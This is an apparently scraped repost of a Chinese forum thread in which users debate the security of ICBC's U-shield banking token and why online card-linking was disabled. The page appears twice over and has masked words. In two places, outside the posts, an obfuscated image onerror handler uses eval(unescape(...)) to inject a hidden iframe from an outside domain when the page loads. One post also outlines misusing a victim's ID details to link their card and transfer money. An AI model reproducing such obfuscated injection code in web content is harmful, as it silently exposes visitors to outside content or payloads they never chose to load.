U盾的安全性值得怀疑！
[转贴 2010-05-06 12:07:42]
U盾的安全性值得怀疑！
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
现在有U盾的客户在使用网上银行的“添加下挂卡及账户”及“添加注册卡”功能时，都需要去网点办理添加下挂卡及账户或注册卡手续，使用十分不方便。询问了95588，得到的回答是“出于对用户账户安全性考虑，封闭了这些功能”，由此可以得出结论：使用U盾也不安全。否则，工行为什么要封闭U盾客户网上银行的“添加下挂卡及账户”及“添加注册卡”功能呢？
--------------------------------------------------------------------
难道这个年头连U盾都信不过了么？
--------------------------------------------------------------------
可能是矫枉过正了。听说正在研究再改回来。
--------------------------------------------------------------------
我从客户经理处得到的消息。
央行下文，移动证书不能xx是为本人。
因此，一些特殊交易，不能仅凭移动证书办理。
而添加注册卡被划为“特殊交易”
这个世界上没有{jd1}的安全，移动证书也只是在一定程度上提高安全性。
--------------------------------------------------------------------
A有一张牡丹卡，没有开通网银，B知道A的身份证号码和姓名，xxxx，办了卡开通网银，之后在网银里把A的卡挂进去，就能把钱转出来。
为了持卡人账户安全，不是说U盾不安全。
--------------------------------------------------------------------
xx件是个大问题。
--------------------------------------------------------------------
QUOTE:原帖由 sysm 于 2007-5-16 21:59 发表
难道这个年头连U盾都信不过了么？ 原来我是坚信U盾的安全性的，通过最近与上海95588及北京95588的咨询及投诉，得到的回答使我对U盾的安全性产生了严重的怀疑，连通过U盾“添加下挂卡及账户”及“添加注册卡”都不安全了，那其它还会安全吗？！我觉得工行卖U盾犹如卖假药！简直就是骗钱！
--------------------------------------------------------------------
QUOTE:原帖由 bjfog 于 2007-5-16 22:02 发表
我从客户经理处得到的消息。
央行下文，移动证书不能xx是为本人。
因此，一些特殊交易，不能仅凭移动证书办理。
而添加注册卡被划为“特殊交易”
这个世界上没有{jd1}的安全，移动证书也只是在一定程度上提 ... 麻烦给出准确出处，不要道听途说
法律承认数字签名的效力，央行不承认？
--------------------------------------------------------------------
QUOTE:原帖由 LYS 于 2007-5-16 22:09 发表
原来我是坚信U盾的安全性的，通过最近与上海95588及北京95588的咨询及投诉，得到的回答使我对U盾的安全性产生了严重的怀疑，连通过U盾“添加下挂卡及账户”及“添加注册卡”都不安全了，那其它还会安全吗？ ... 我解释过了
不是因为U盾不安全
--------------------------------------------------------------------
QUOTE:原帖由 colinoz 于 2007-5-16 22:03 发表
A有一张牡丹卡，没有开通网银，B知道A的身份证号码和姓名，xxxx，办了卡开通网银，之后在网银里把A的卡挂进去，就能把钱转出来。
为了持卡人账户安全，不是说U盾不安全。 网银做下挂卡操作需要atm密码？
好像？
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
现在有U盾的客户在使用网上银行的“添加下挂卡及账户”及“添加注册卡”功能时，都需要去网点办理添加下挂卡及账户或注册卡手续，使用十分不方便。询问了95588，得到的回答是“出于对用户账户安全性考虑，封闭了这些功能”，由此可以得出结论：使用U盾也不安全。否则，工行为什么要封闭U盾客户网上银行的“添加下挂卡及账户”及“添加注册卡”功能呢？
--------------------------------------------------------------------
难道这个年头连U盾都信不过了么？
--------------------------------------------------------------------
可能是矫枉过正了。听说正在研究再改回来。
--------------------------------------------------------------------
我从客户经理处得到的消息。
央行下文，移动证书不能xx是为本人。
因此，一些特殊交易，不能仅凭移动证书办理。
而添加注册卡被划为“特殊交易”
这个世界上没有{jd1}的安全，移动证书也只是在一定程度上提高安全性。
--------------------------------------------------------------------
A有一张牡丹卡，没有开通网银，B知道A的身份证号码和姓名，xxxx，办了卡开通网银，之后在网银里把A的卡挂进去，就能把钱转出来。
为了持卡人账户安全，不是说U盾不安全。
--------------------------------------------------------------------
xx件是个大问题。
--------------------------------------------------------------------
QUOTE:原帖由 sysm 于 2007-5-16 21:59 发表
难道这个年头连U盾都信不过了么？ 原来我是坚信U盾的安全性的，通过最近与上海95588及北京95588的咨询及投诉，得到的回答使我对U盾的安全性产生了严重的怀疑，连通过U盾“添加下挂卡及账户”及“添加注册卡”都不安全了，那其它还会安全吗？！我觉得工行卖U盾犹如卖假药！简直就是骗钱！
--------------------------------------------------------------------
QUOTE:原帖由 bjfog 于 2007-5-16 22:02 发表
我从客户经理处得到的消息。
央行下文，移动证书不能xx是为本人。
因此，一些特殊交易，不能仅凭移动证书办理。
而添加注册卡被划为“特殊交易”
这个世界上没有{jd1}的安全，移动证书也只是在一定程度上提 ... 麻烦给出准确出处，不要道听途说
法律承认数字签名的效力，央行不承认？
--------------------------------------------------------------------
QUOTE:原帖由 LYS 于 2007-5-16 22:09 发表
原来我是坚信U盾的安全性的，通过最近与上海95588及北京95588的咨询及投诉，得到的回答使我对U盾的安全性产生了严重的怀疑，连通过U盾“添加下挂卡及账户”及“添加注册卡”都不安全了，那其它还会安全吗？ ... 我解释过了
不是因为U盾不安全
--------------------------------------------------------------------
QUOTE:原帖由 colinoz 于 2007-5-16 22:03 发表
A有一张牡丹卡，没有开通网银，B知道A的身份证号码和姓名，xxxx，办了卡开通网银，之后在网银里把A的卡挂进去，就能把钱转出来。
为了持卡人账户安全，不是说U盾不安全。 网银做下挂卡操作需要atm密码？
好像？
郑重声明：资讯 【U盾的安全性值得怀疑！ - 财经考试- inviolate - 和讯博客】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
